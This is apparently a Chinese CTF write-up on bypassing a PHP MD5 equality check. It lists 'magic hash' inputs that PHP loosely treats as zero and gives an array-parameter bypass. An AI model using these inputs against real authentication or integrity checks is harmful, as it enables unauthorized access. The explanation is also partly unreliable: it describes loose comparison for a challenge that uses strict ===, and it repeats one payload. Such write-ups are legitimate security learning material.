MD5函數(shù)與字符串匹配問題

題目

if (isset($_GET['a']) and isset($_GET['b'])) {
    if ($_GET['a'] != $_GET['b']) {
        if (md5($_GET['a']) === md5($_GET['b'])) {
            echo ('Flag: '.$flag);
        }else {
            echo 'Wrong.';
        }
    }
}

相關(guān)知識

PHP在處理哈希字符串時,會利用”!=”或”==”來對哈希值進(jìn)行比較,它把每一個以”0E”開頭的哈希值都解釋為0,所以如果兩個不同的密碼經(jīng)過哈希以后,其哈希值都是以”0E”開頭的,那么PHP將會認(rèn)為他們相同,都是0。
常見的payload有

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
 sha1(str)
sha1('aaroZmOk')  
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')

同時MD5不能處理數(shù)組,若有以下判斷則可用數(shù)組繞過

if(@md5($_GET['a']) == @md5($_GET['b']))
{
    echo "yes";
}
// http://127.0.0.1/1.php?a[]=1&b[]=2
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容